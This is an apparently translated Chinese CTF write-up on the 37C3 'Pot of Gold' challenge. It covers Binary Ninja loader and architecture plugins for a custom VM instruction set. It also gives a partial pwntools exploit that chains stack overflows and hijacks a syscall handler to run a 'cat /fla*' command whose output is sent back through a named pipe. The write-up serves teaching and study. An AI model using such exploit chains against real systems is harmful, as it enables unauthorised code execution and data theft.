[翻译]【Ninja逆向】使用Ninja IL逆向自定义ISA:破解大赛37C3“Pot of Gold”
字数 1912 2025-08-23 18:31:34

使用Binary Ninja IL逆向自定义ISA:37C3 CTF "Pot of Gold"挑战解析

1. 挑战概述

"Pot of Gold"是37C3 Potluck CTF中的一个逆向工程和漏洞利用挑战,涉及对自定义指令集架构(ISA)的分析和利用。挑战包含以下关键组件:

  • 主程序/chall:x86-64 ELF可执行文件,实现了一个自定义架构的虚拟机
  • 两个虚拟机二进制文件:
    • gordon.bin:主虚拟机进程
    • kitchen.bin:从属虚拟机进程
  • 通信机制:通过命名管道/tmp/x_master/tmp/x_slave进行进程间通信

2. 虚拟机架构分析

2.1 虚拟机结构

虚拟机管理结构如下:

struct vm {
    uint64_t regs[8];  // 通用寄存器R0-R7
    uint64_t sp;       // 堆栈指针
    uint64_t lr;       // 链接寄存器
    uint64_t pc;       // 程序计数器
    uint64_t fl;       // 标志寄存器
    void *mem;         // 内存映射链表
    void (*handle_syscall)(struct vm*, int syscall_id);  // 系统调用处理函数
    bool stopped;
    bool is_master;
};

2.2 二进制文件格式

虚拟机二进制文件以"UNICORN"开头,格式如下:

struct unicorn_blob_file {
    char magic[8];     // "UNICORN"
    uint16_t nb_segments;
    struct segment {
        uint16_t virtual_base;
        uint16_t size;
        uint16_t protection;  // 位域:1-读,2-写,4-执行
    } segments[ANYSIZE_ARRAY];
    char data[ANYSIZE_ARRAY];  // 第一个段的数据
};

2.3 指令集架构

虚拟机指令为4字节定长,基本格式:

  • 第0字节:操作码
  • 第1字节:参数1
  • 第2-3字节:参数2和3(小端序)

主要指令包括:

操作码 指令 描述
0x0 NOP 空操作
0x4 ALU运算 包含加减乘等算术运算
0x5 SYSCALL 系统调用
0x8 PUSH 压栈
0x9 POP 出栈
0xC RET 从链接寄存器返回

3. 系统调用分析

系统调用通过handle_syscall函数处理,主要系统调用如下:

ID 描述
0 停止虚拟机
1 输出字符(regs[0])
2 读取字符(regs[0])
3 向FIFO发送消息(ptr: regs[0], size: regs[1])
4 从FIFO接收消息(ptr: regs[0], size: regs[1])
5 伪随机数生成器(regs[0])
7 获取运行时间(system("uptime > /tmp/u")到ptr: regs[0])

4. Binary Ninja插件开发

4.1 加载器(BinaryView)实现

from binaryninja.binaryview import BinaryView
from binaryninja.enums import SegmentFlag

class POTLUCKView(BinaryView):
    name = 'POTLUCKView'
    
    def __init__(self, data):
        BinaryView.__init__(self, parent_view=data, file_metadata=data.file)
        self.data = data
    
    @classmethod
    def is_valid_for_data(self, data):
        return data.read(0, 7) == b'UNICORN'
    
    def init(self):
        # 解析文件头并加载段
        segment_count = unpack("<H", self.data.read(0x8, 2))[0]
        base = unpack("<H", self.data.read(0xA, 2))[0]
        size = unpack("<H", self.data.read(0xC, 2))[0]
        prot = unpack("<H", self.data.read(0xE, 2))[0]
        
        # 添加可执行段
        self.add_auto_segment(base, size, 0xA+6*segment_count, size, 
                            SegmentFlag.SegmentReadable | SegmentFlag.SegmentExecutable)
        return True

4.2 架构插件实现

from binaryninja.architecture import Architecture, InstructionInfo, RegisterInfo
from binaryninja.lowlevelil import LowLevelILFunction
from binaryninja.function import InstructionTextToken

class POTLUCK(Architecture):
    name = "POTLUCK"
    address_size = 4
    regs = {
        'R0': RegisterInfo('R0', 4),
        # ... 其他寄存器
        'SP': RegisterInfo('SP', 4),
        'LR': RegisterInfo('LR', 4),
    }
    stack_pointer = "SP"
    link_reg = "LR"
    
    def get_instruction_text(self, data, addr):
        opcode = data[0]
        arg1 = data[1]
        ops = []
        
        if opcode == 8:  # PUSH
            ops.append(InstructionTextToken(InstructionTextTokenType.TextToken, "push "))
            ops.append(InstructionTextToken(InstructionTextTokenType.RegisterToken, f'R{arg1}'))
        # ... 其他指令
        
        return ops, 4
    
    def get_instruction_info(self, data, addr):
        info = InstructionInfo()
        info.length = 4
        
        if opcode == 5:  # SYSCALL
            info.add_branch(BranchType.SystemCall, arg1)
        # ... 其他控制流指令
        
        return info
    
    def get_instruction_low_level_il(self, data, addr, il):
        # 将指令转换为Binary Ninja中间语言
        if opcode == 4 and (arg1 >> 4) == 0:  # ADD
            dst = f'R{arg3}'
            src1 = il.reg(4, f'R{arg2}')
            src2 = il.const(4, operand)
            il.append(il.set_reg(4, dst, il.add(4, src1, src2)))
        # ... 其他指令
        return 4

4.3 反编译器优化

通过实现get_instruction_low_level_il方法,可以将自定义ISA指令转换为Binary Ninja的中间语言(IL),从而获得高质量的反编译输出。关键点包括:

  1. 正确处理寄存器操作
  2. 准确描述控制流(分支、调用、返回)
  3. 为系统调用定义自定义调用约定

5. 漏洞分析与利用

5.1 漏洞点

  1. Kitchen虚拟机

    • 命令2存在栈缓冲区溢出,可覆盖LR寄存器
    • 读取0xff字节到0x44大小的缓冲区
  2. Gordon虚拟机

    • 处理0xc0cac01a命令时存在栈溢出
    • 寄存器索引未验证,可越界写入

5.2 利用步骤

  1. 触发Kitchen溢出

    • 通过命令2发送精心构造的输入覆盖LR
    • 构造ROP链调用系统调用4向Gordon发送命令
  2. 触发Gordon漏洞

    • 发送0xc0cac01a命令触发栈溢出
    • 利用越界写入修改handle_syscall指针
  3. 获取shell

    • 将handle_syscall指向system()
    • 通过寄存器构造命令字符串"cat /fla* > /tmp/x_master"
    • 执行syscall运行命令
  4. 读取flag

    • 通过FIFO将flag传回Kitchen
    • 使用ROP链接收并打印flag

5.3 利用代码示例

from pwn import *

r = remote('challenge27.play.potluckctf.com', 31337)

# 解决初始挑战
secret = bytes.fromhex(r.recvline().strip().decode())
code = xor(secret, p32(0xc0cac01a) + p32(0xd15ea5e) + p32(0x5caff01d) + p32(0xba5eba11)).hex().encode()
r.sendline(code)

# 选择漏洞命令
r.sendlineafter(b'choice> ', b'2')

# 构造payload
payload = p32(0xc0cac01a)  # Gordon命令魔法值
payload += b'\x09\x05\x00\x00'  # pop r5 -> system地址
payload += b'\x07\xd0\x05\x00'  # mov R13, R5 (覆盖handle_syscall)
# ... 其他ROP链和shellcode
payload += b'cat /fla* > /tmp/x_master\x00'

r.send(payload)
r.interactive()

6. 关键知识点总结

  1. 自定义ISA分析

    • 通过识别操作码处理函数理解虚拟机行为
    • 分析寄存器使用和内存管理结构
  2. Binary Ninja插件开发

    • BinaryView用于文件格式解析
    • Architecture插件实现指令集支持
    • 中间语言(IL)转换提升反编译质量
  3. 漏洞利用技术

    • 跨虚拟机进程的联合利用
    • 利用未验证的寄存器索引实现任意写
    • 通过系统调用劫持获得代码执行
  4. 防御绕过

    • 利用FIFO通信绕过输出限制
    • 通过ROP链实现复杂利用流程

7. 扩展思考

  1. 防御措施

    • 实现寄存器索引验证
    • 添加栈保护机制
    • 启用地址随机化(ASLR)
  2. 自动化分析

    • 开发更完整的Binary Ninja架构插件
    • 实现自动化漏洞挖掘脚本
    • 构建自定义ISA的符号执行引擎
  3. 类似挑战

    • 其他CTF中的自定义虚拟机挑战
    • 真实世界中的嵌入式系统固件分析
    • 游戏反作弊系统中的自定义指令集
使用Binary Ninja IL逆向自定义ISA:37C3 CTF "Pot of Gold"挑战解析 1. 挑战概述 "Pot of Gold"是37C3 Potluck CTF中的一个逆向工程和漏洞利用挑战,涉及对自定义指令集架构(ISA)的分析和利用。挑战包含以下关键组件: 主程序 /chall :x86-64 ELF可执行文件,实现了一个自定义架构的虚拟机 两个虚拟机二进制文件: gordon.bin :主虚拟机进程 kitchen.bin :从属虚拟机进程 通信机制:通过命名管道 /tmp/x_master 和 /tmp/x_slave 进行进程间通信 2. 虚拟机架构分析 2.1 虚拟机结构 虚拟机管理结构如下: 2.2 二进制文件格式 虚拟机二进制文件以"UNICORN"开头,格式如下: 2.3 指令集架构 虚拟机指令为4字节定长,基本格式: 第0字节:操作码 第1字节:参数1 第2-3字节:参数2和3(小端序) 主要指令包括: | 操作码 | 指令 | 描述 | |--------|------|------| | 0x0 | NOP | 空操作 | | 0x4 | ALU运算 | 包含加减乘等算术运算 | | 0x5 | SYSCALL | 系统调用 | | 0x8 | PUSH | 压栈 | | 0x9 | POP | 出栈 | | 0xC | RET | 从链接寄存器返回 | 3. 系统调用分析 系统调用通过 handle_syscall 函数处理,主要系统调用如下: | ID | 描述 | |----|------| | 0 | 停止虚拟机 | | 1 | 输出字符(regs[ 0 ]) | | 2 | 读取字符(regs[ 0 ]) | | 3 | 向FIFO发送消息(ptr: regs[ 0], size: regs[ 1 ]) | | 4 | 从FIFO接收消息(ptr: regs[ 0], size: regs[ 1 ]) | | 5 | 伪随机数生成器(regs[ 0 ]) | | 7 | 获取运行时间(system("uptime > /tmp/u")到ptr: regs[ 0 ]) | 4. Binary Ninja插件开发 4.1 加载器(BinaryView)实现 4.2 架构插件实现 4.3 反编译器优化 通过实现 get_instruction_low_level_il 方法,可以将自定义ISA指令转换为Binary Ninja的中间语言(IL),从而获得高质量的反编译输出。关键点包括: 正确处理寄存器操作 准确描述控制流(分支、调用、返回) 为系统调用定义自定义调用约定 5. 漏洞分析与利用 5.1 漏洞点 Kitchen虚拟机 : 命令2存在栈缓冲区溢出,可覆盖LR寄存器 读取0xff字节到0x44大小的缓冲区 Gordon虚拟机 : 处理0xc0cac01a命令时存在栈溢出 寄存器索引未验证,可越界写入 5.2 利用步骤 触发Kitchen溢出 : 通过命令2发送精心构造的输入覆盖LR 构造ROP链调用系统调用4向Gordon发送命令 触发Gordon漏洞 : 发送0xc0cac01a命令触发栈溢出 利用越界写入修改handle_ syscall指针 获取shell : 将handle_ syscall指向system() 通过寄存器构造命令字符串"cat /fla* > /tmp/x_ master" 执行syscall运行命令 读取flag : 通过FIFO将flag传回Kitchen 使用ROP链接收并打印flag 5.3 利用代码示例 6. 关键知识点总结 自定义ISA分析 : 通过识别操作码处理函数理解虚拟机行为 分析寄存器使用和内存管理结构 Binary Ninja插件开发 : BinaryView用于文件格式解析 Architecture插件实现指令集支持 中间语言(IL)转换提升反编译质量 漏洞利用技术 : 跨虚拟机进程的联合利用 利用未验证的寄存器索引实现任意写 通过系统调用劫持获得代码执行 防御绕过 : 利用FIFO通信绕过输出限制 通过ROP链实现复杂利用流程 7. 扩展思考 防御措施 : 实现寄存器索引验证 添加栈保护机制 启用地址随机化(ASLR) 自动化分析 : 开发更完整的Binary Ninja架构插件 实现自动化漏洞挖掘脚本 构建自定义ISA的符号执行引擎 类似挑战 : 其他CTF中的自定义虚拟机挑战 真实世界中的嵌入式系统固件分析 游戏反作弊系统中的自定义指令集